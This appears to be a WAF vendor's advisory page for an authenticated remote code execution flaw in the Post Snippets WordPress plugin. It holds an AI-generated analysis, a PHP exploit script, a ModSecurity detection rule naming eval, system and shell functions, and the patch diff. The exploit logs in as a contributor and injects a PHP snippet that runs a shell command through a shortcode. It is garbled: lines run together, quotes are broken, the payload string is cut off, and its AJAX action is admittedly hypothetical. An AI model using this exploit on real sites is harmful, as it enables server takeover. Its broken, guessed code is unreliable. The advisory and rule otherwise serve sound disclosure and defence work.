Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : July 26, 2026

CVE-2026-56049: Post Snippets – Custom WordPress Code Snippets Customizer <= 4.0.19 Authenticated (Contributor+) Remote Code Execution PoC, Patch Analysis & Rule

Plugin post-snippets
Severity High (CVSS 8.8)
CWE 94
Vulnerable Version 4.0.19
Patched Version 4.1.0
Disclosed June 24, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-56049:nnThis is an authenticated Remote Code Execution vulnerability in the Post Snippets (free) WordPress plugin, version 4.0.19 and earlier, affecting users with Contributor-level access or above. The vulnerability, assigned CVSS 8.8, allows attackers to execute arbitrary PHP code on the server via crafted shortcode attributes processed by insecure PHP snippet evaluation.nnRoot Cause: The vulnerability originates in the Shortcode.php file, specifically the shortcode handler function. In the vulnerable version, when a snippet has ‘snippet_php’ enabled (stored as a flag), the plugin directly stripslashes() on the snippet content and then processes it through an insecure filter that only removed initial PHP tags (<?php, ‘] — when the shortcode is rendered on a page or post, the plugin replaces {user_input} in the PHP snippet content with the unsanitized value, removes the leading PHP tag, and evaluates the resulting PHP code through eval() or include(). The attacker can also use numeric shortcode attributes that are parsed and injected. WordPress’s shortcode parser passes numeric-keyed attributes (like “0=’payload'”) which the vulnerable code does not filter properly. By combining a PHP snippet with a payload from a shortcode attribute, the attacker achieves arbitrary code execution.nnPatch Analysis: The patched version 4.1.0 introduces three new methods in Shortcode.php: replaceSnippetVariables(), sanitizeVariableValue(), and replacePhpVariables(). The vulnerable code path that directly stripslashes(), filters PHP tags, and returns unsanitized content is replaced. The new flow: (1) If the snippet has PHP enabled, stripslashes() is applied. (2) replaceSnippetVariables() iterates over shortcode attributes and passes each value through sanitizeVariableValue(). (3) sanitizeVariableValue() applies type-specific sanitization: for colon-suffixed variable names (e.g., ‘var:url’, ‘var:text’, ‘var:attr’), it calls esc_url_raw(), esc_html(), esc_attr(), etc. For PHP snippets, it skips quote escaping but still returns the raw value. (4) replacePhpVariables() performs a targeted replacement: it first finds string literals in the PHP code (single/double-quoted strings) and replaces variables within them using escapePhpStringLiteralValue(), which escapes backslashes, quotes, and dollar signs. Then, for variables outside string literals, it uses var_export() to safely encode the value. This prevents injection of PHP code outside of controlled string contexts. The WPEditor.php change replaces the old manual string escaping for inline JavaScript snippets with wp_json_encode() using hex escapes for HTML special characters, preventing XSS.nnImpact: Successful exploitation allows an authenticated Contributor-level attacker to execute arbitrary PHP code on the WordPress server. This can lead to complete site compromise: reading/writing any file in the WordPress installation, accessing the database, creating administrative users, installing malicious plugins, exfiltrating sensitive data, or using the server as a pivot for further attacks. Given the high CVSS score of 8.8 and the low privilege requirement (Contributor), this vulnerability poses a critical risk to affected WordPress sites.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-56049 – Post Snippets – Authenticated (Contributor+) Remote Code Executionnn// Configuration: Set your WordPress target URL and credentialsn$target_url = 'http://example.com'; // Change this!n$username = 'contributor';n$password = 'password';nn// Step 1: Login to WordPressn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, 'log=' . urlencode($username) . '&pwd=' . urlencode($password) . '&wp-submit=Log+In&redirect_to=' . urlencode($target_url . '/wp-admin/') . '&testcookie=1');ncurl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);ncurl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);n$login_result = curl_exec($ch);nif (strpos($login_result, 'Dashboard') === false && strpos($login_result, 'wp-admin') === false) {n die('Login failed. Check credentials or target URL.\n');n}necho "[+] Logged in successfully.\n";nn// Step 2: Get nonce for snippet creationncurl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=post-snippets');ncurl_setopt($ch, CURLOPT_POST, 0);n$admin_page = curl_exec($ch);npreg_match('/var\s+post_snippets_nonce\s*=\s*"([^"]+)"/', $admin_page, $matches);n$nonce = $matches[1] ?? '';nif (empty($nonce)) {n die('Failed to extract nonce.\n');n}necho "[+] Got nonce: $nonce\n";nn// Step 3: Create a PHP-enabled snippetn$php_code = '’; // {cmd} is the variable placeholdernncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php’);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([n ‘action’ => ‘post_snippets_save’,n ‘_wpnonce’ => $nonce,n ‘snippet_title’ => ‘poc_php’,n ‘snippet_content’ => $php_code,n ‘snippet_php’ => ‘1’, // Enable PHP executionn ‘snippet_variables’ => ‘cmd’,n ‘snippet_id’ => ” // Create newn]));n$save_result = curl_exec($ch);necho “[+] Snippet creation response: $save_result\n”;nn// Step 4: Create a post with the malicious shortcoden$cmd_payload = ‘id’; // Command to executen$shortcode = ‘[poc_php cmd=”‘ . $cmd_payload . ‘”]’;nn$post_data = [n ‘action’ => ‘post_snippets_post_create’, // Hypothetical AJAX action; adjust per actual pluginn ‘_wpnonce’ => $nonce,n ‘post_title’ => ‘Exploit Test’,n ‘post_content’ => $shortcoden];nn// Alternatively, we can create a post through the standard REST API or wp_insert_postn// For simplicity, use wp_insert_post via AJAX if available, or use a direct post creationncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/wp-admin/admin-ajax.php’);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));n$post_result = curl_exec($ch);necho “[+] Post creation response: $post_result\n”;nn// Step 5: View the generated post (or directly invoke the shortcode)ncurl_setopt($ch, CURLOPT_URL, $target_url . ‘/?p=1’); // Adjust post ID as neededncurl_setopt($ch, CURLOPT_POST, 0);n$page = curl_exec($ch);n// Look for command output in the responsenif (preg_match(‘/uid=\d+[^nn// Note: This PoC assumes the plugin uses standard WordPress AJAX handlers. The exact AJAX action names and endpoints may vary; adjust based on actual plugin code.”,
“modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-56049n# Blocks exploitation of authenticated RCE via Post Snippets plugin shortcode injectionn# Targets numeric-keyed shortcode attributes containing PHP code patternsnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-56049 Post Snippets RCE via AJAX’,severity:’CRITICAL’,tag:’CVE-2026-56049′”n SecRule ARGS_POST:action “@streq post_snippets_save” \n “chain”n SecRule ARGS_POST:snippet_php “@streq 1” \n “chain”n SecRule ARGS_POST:snippet_content “@rx (?:<?php|system|eval|exec|shell_exec|passthru|popen|proc_open|assert|preg_replace|create_function|array_map|call_user_func|base64_decode|chr\(|hex2bin|`[^`]{1,200}`)" \n "t:lowercase,severity:'CRITICAL'""
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/post-snippets/post-snippets.php
+++ b/post-snippets/post-snippets.php
@@ -11,7 +11,7 @@
  * Plugin Name: Post Snippets (free)
  * Plugin URI: https://www.postsnippets.com
  * Description: Create a library of reusable content and insert it into your posts and pages. Navigate to "Settings > Post Snippets" to get started.
- * Version: 4.0.19
+ * Version: 4.1.0
  * Author: Postsnippets
  * Author URI: https://www.postsnippets.com
  * License: GPL-2.0+
@@ -135,7 +135,7 @@
         define( 'PS_MAIN_FILE', basename( __FILE__ ) );
     }
     if ( !defined( 'PS_VERSION' ) ) {
-        define( 'PS_VERSION', '4.0.19' );
+        define( 'PS_VERSION', '4.1.0' );
     }
     if ( !defined( 'PS_MAIN_FILE_PATH' ) ) {
         define( 'PS_MAIN_FILE_PATH', __FILE__ );
--- a/post-snippets/src/PostSnippets/Edit.php
+++ b/post-snippets/src/PostSnippets/Edit.php
@@ -1678,7 +1678,7 @@
         if( !empty($vars) ){

             $string = $vars;
-            $pattern = '/([^A-Za-z,=_d])/i';   /**remove any character from vars that are not Letters, Numbers or digits or Illegal php variable name */
+            $pattern = '/([^A-Za-z,=:_d])/i';  /**remove any character from vars that are not Letters, Numbers or digits or Illegal php variable name */
             $replacement = '';
             $snippet_vars =  preg_replace($pattern, $replacement, $string);

--- a/post-snippets/src/PostSnippets/Shortcode.php
+++ b/post-snippets/src/PostSnippets/Shortcode.php
@@ -41,30 +41,38 @@

             $texturize = $snippet["snippet_wptexturize"]?? false;

+            foreach ($atts as $key => $val) {
+                if ( is_numeric($key) ) {
+                    $attribute = explode('=', $val, 2);
+
+                    if (count($attribute) < 2) {
+                        continue;
+                    }
+
+                    $keyName  = trim($attribute[0]);
+                    $keyValue = trim($attribute[1], " tnrx0B"'");
+
+                    $atts[$keyName] = $keyValue;
+                    unset($atts[$key]);
+                }
+            }
+
             $short_atts = shortcode_atts( $default_atts, $atts );

             $snippet_content =  $snippet['snippet_content'];

-            if ( $content != null ) {
-                $short_atts["content"] = $content;
+            if ( ! empty( $snippet['snippet_php'] ) && (int) $snippet['snippet_php'] === 1 ) {
+                $snippet_content = stripslashes( $snippet_content );
             }
-            foreach ( $short_atts as $key => $val ) {
-                $val = (string) $val;
-
-                if ( 'url' === strtolower( $key ) || 'href' === strtolower( $key ) || 'src' === strtolower( $key ) ) {
-                    $val = esc_url_raw( $val );
-                }
-
-                $clean_val = strtr(
-                    $val,
-                    array(
-                        '"' => '"',
-                        "'" => '&apos;',
-                    )
-                );

-                $snippet_content = str_replace( "{" . $key . "}", $clean_val, $snippet_content );
+            if ( $content != null ) {
+                $short_atts["content"] = $content;
             }
+            $snippet_content = self::replaceSnippetVariables(
+                $snippet_content,
+                $short_atts,
+                ! empty( $snippet['snippet_php'] ) && (int) $snippet['snippet_php'] === 1
+            );

             // There might be the case that a snippet contains
             // the post snippets reserved variable {content} to
@@ -110,8 +118,6 @@
             return $content;
         }

-        $content = stripslashes($content);
-
         /**Removing Initial PHP Tag */
         $content = ltrim($content, "<?php<?PHP<?=");

@@ -122,6 +128,112 @@
         return addslashes($content);
     }

+    public static function replaceSnippetVariables($snippet_content, $short_atts, $php_snippet = false)
+    {
+        foreach ( $short_atts as $key => $val ) {
+            $short_atts[ $key ] = self::sanitizeVariableValue( $key, $val, $php_snippet );
+        }
+
+        if ( $php_snippet ) {
+            return self::replacePhpVariables( $snippet_content, $short_atts );
+        }
+
+        foreach ( $short_atts as $key => $val ) {
+            $snippet_content = str_replace( '{' . $key . '}', $val, $snippet_content );
+        }
+
+        return $snippet_content;
+    }
+
+    public static function sanitizeVariableValue($key, $val, $php_snippet = false)
+    {
+        $val = (string) $val;
+
+        $colon = strpos($key, ':');
+
+        if ( $colon !== false ) {
+            $text = explode(":", $key);
+
+            switch (strtolower($text[1])) {
+                case 'url':
+                    $val = esc_url_raw( $val );
+                    break;
+                case 'text':
+                    $val = esc_html( $val );
+                    break;
+                case 'attr':
+                    $val = esc_attr( $val );
+                    break;
+                case 'xml':
+                    $val = esc_xml( $val );
+                    break;
+                case 'textarea':
+                    $val = esc_textarea( $val );
+                    break;
+            }
+        }
+
+        if ( $php_snippet ) {
+            return $val;
+        }
+
+        return strtr(
+            $val,
+            array(
+                '"' => '"',
+                "'" => '&apos;',
+            )
+        );
+    }
+
+    public static function replacePhpVariables($snippet_content, $short_atts)
+    {
+        $string_pattern = '/'(?:\\.|[^'\\])*'|"(?:\\.|[^"\\])*"/s';
+
+        $snippet_content = preg_replace_callback(
+            $string_pattern,
+            function ( $matches ) use ( $short_atts ) {
+                $literal = $matches[0];
+                $quote = $literal[0];
+                $body = substr( $literal, 1, -1 );
+
+                foreach ( $short_atts as $key => $val ) {
+                    $body = str_replace(
+                        '{' . $key . '}',
+                        self::escapePhpStringLiteralValue( $val, $quote ),
+                        $body
+                    );
+                }
+
+                return $quote . $body . $quote;
+            },
+            $snippet_content
+        );
+
+        foreach ( $short_atts as $key => $val ) {
+            $snippet_content = str_replace( '{' . $key . '}', var_export( $val, true ), $snippet_content );
+        }
+
+        return $snippet_content;
+    }
+
+    public static function escapePhpStringLiteralValue($val, $quote)
+    {
+        if ( $quote === '"' ) {
+            return str_replace(
+                array( '\', '"', '$' ),
+                array( '\\', '\"', '\$' ),
+                $val
+            );
+        }
+
+        return str_replace(
+            array( '\', "'" ),
+            array( '\\', "\'" ),
+            $val
+        );
+    }
+
     /**
      * Filters Snippet Variables
      * of Undesired Text.
--- a/post-snippets/src/PostSnippets/WPEditor.php
+++ b/post-snippets/src/PostSnippets/WPEditor.php
@@ -11,6 +11,20 @@
 {
     const TINYMCE_PLUGIN_NAME = 'post_snippets';

+    /**
+     * Encode a snippet value so it is safe to embed in an inline script.
+     *
+     * @param string $value Snippet content or shortcode.
+     * @return string JSON string literal.
+     */
+    private function encodeSnippetForInlineScript($value)
+    {
+        return wp_json_encode(
+            (string) $value,
+            JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT
+        );
+    }
+
     public function __construct()
     {
         // TinyMCE button must not appear in description editor of ps code, css and js edit pages.
@@ -204,21 +218,13 @@
                         }
                     }
 				    $shortcode = $snippet['snippet_title'] . $variables;
-				    array_push( $snippetStack, "var postsnippet_{$key} = '[" . $shortcode . "]';n" );
+                    array_push( $snippetStack, "var postsnippet_{$key} = " . $this->encodeSnippetForInlineScript( '[' . $shortcode . ']' ) . ";n" );
 			    } else if(isset($snippet['snippet_content'])) {
 				    // To use $snippet is probably not a good naming convention here.
 				    // rename to js_snippet or something?
-				    $snippet = $snippet['snippet_content'];
-				    # Fixes for potential collisions:
-				    /* Replace <> with char codes, otherwise </script> in a snippet will break it */
-				    $snippet = str_replace( '<', 'x3C', str_replace( '>', 'x3E', $snippet ) );
-				    /* Escape " with " */
-				    // $snippet = str_replace( '"', '"', $snippet );
-                    // $snippet = htmlspecialchars( stripslashes( $snippet ) );
-				    /* Remove CR and replace LF with n to keep formatting */
-				    $snippet = str_replace( chr( 13 ), '', str_replace( chr( 10 ), 'n', $snippet ) );
+                    $snippet = $snippet['snippet_content'];
 				    # Print out the variable containing the snippet
-				    array_push( $snippetStack, "var postsnippet_{$key} = "" . $snippet . "";n" );
+                    array_push( $snippetStack, "var postsnippet_{$key} = " . $this->encodeSnippetForInlineScript( $snippet ) . ";n" );
 			    }
 		    }
 	    }

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.